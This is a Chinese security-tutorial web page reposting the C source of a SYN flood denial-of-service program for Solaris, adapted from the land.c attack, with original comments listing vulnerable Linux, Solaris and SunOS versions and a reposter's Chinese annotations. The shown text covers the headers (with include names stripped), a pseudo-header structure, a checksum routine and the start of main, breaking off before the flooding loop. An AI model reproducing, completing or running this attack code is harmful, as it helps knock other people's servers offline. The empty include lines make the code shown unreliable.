当前位置: 首页 > 图文教程 > 网络安全 > 安全基础 > 一个SYN攻击的源程序

安全基础
利用Windows XP组策略加强机密数据安全
了解CPU,关于CPU的基础知识
WinToFlash制作Windows XP安装U盘
Windows 7视频时比较卡删除MMCSS解决
数据恢复:硬盘开盘更换磁头处理
网上邻居里的电脑双击出现密码输入提示
服务器系统默认启用的授权模式造成共享访问故障
Spoolsv.exe木马清除的方法
使用Dropbox免费空间的6个小技巧
163、126信箱POP3和SMTP重新开通
故障实例:USB设备无正确驱动签名
隐藏局域网中联网的计算机又能上网的设置方法
网上偷菜外挂含盗号病毒偷盗游戏账号
在QQ空间中放入土豆网Flash视频
重装系统后防止病毒入侵的5个系统设置技巧
Windows Update系统更新组件
人人桌面帮你在人人网农场游戏快速增长经验值
网络交换机限速 防止BT下载速度过快
Win7下连接无线网络资源管理器挂掉问题
在SNS里利用Flash脚本过滤不严进行挂马

安全基础 中的 一个SYN攻击的源程序


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-10-28   浏览: 49 ::
收藏到网摘: n/a


/* Syn Attack against a port for Solaris */

/* Original land attack, land.c by m3lt, FLC */

/* Ported to 44BSD by blast and jerm */

/* Ported to Solaris by ziro antagonist */

/* Referenced flood.c by unknown author */

/* Converted into a syn attack against one port by CRG */

/* Please use this for educational purposes only */

/* Compiles on Solaris gcc -o synsol synsol.c -lsocket -lnsl */

/* Additional notes: */

/* Successfully compiled on Solaris 2.51 and 2.6 */

/* Runs: synsol    */

/* */

/* Tested it on: Solaris 2.6 */

/* */

/* Attacked against: */

/* Linux 2.0.33 - vulnerable */

/* Linux 2.0.30 - vulnerable */

/* Linux 1.2.13 - vulnerable */

/* Solaris 2.4 - vulnerable */

/* Solaris 2.5.1 - vulnerable */

/* SunOS 4.1.3_U3 - vulnerable */

/* Solaris 2.6 - not vulnerable */

/* */

/* Most of these test machines are not patched because they */

/* are in test lab. I tested the program against port 23 and */

/* every once in awhile I did get through. */

/* */

/* Direct any comments, questions, improvements to */

/* [email protected] */

/* http://www.genocide2600.com/~tattooman/ */

/* Your emails will be forwarded to the author, who wishes */

/* to remain known only as CRG (no email addy or URL) */

/*jjgirl:上面的注释的不用说了!*/

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

/*jjgirl:上面是头文件!*/

 

unsigned long srcport;

 

struct pseudohdr

{

struct in_addr saddr;

struct in_addr daddr;

u_char zero;

u_char protocol;

u_short length;

struct tcphdr tcpheader;

};

/*jjgirl:定义一个伪装地址的结构!*/

 

u_short checksum(u_short * data,u_short length)

{

int nleft = length;

int sum=0;

unsigned short *w = data;

unsigned short value = 0;

 

while (nleft > 1) {

sum += *w++;

nleft -= 2;

}

 

if (nleft == 1) {

*(unsigned char *) (&value) = *(unsigned char *) w;

sum += value;

}

sum = (sum >>16) + (sum & 0xffff);

sum += (sum >> 16);

value = ~sum;

return(value);

}

/*jjgirl:上面校验文件!包头是需要校验的,CRC校验!*/

 

 

int main(int argc,char * * argv)

{/*jjgirl:主程序开始了!*/

struct sockaddr_in sin;

struct sockaddr_in din;

struct hostent * hoste;

struct hostent * host1;

int j,sock,foo, flooddot=1;

char buffer[40];

struct ip * ipheader=(struct ip *) buffer;

struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct ip));

struct pseudohdr pseudoheader;

/*jjgirl:上面定义变量!*/

 

fprintf(stderr,"Syn attack against one port.(Infinite)\n");

 

if(argc<4)

{

fprintf(stderr,"usage: %s   \n",argv[0]);

return(-1);

}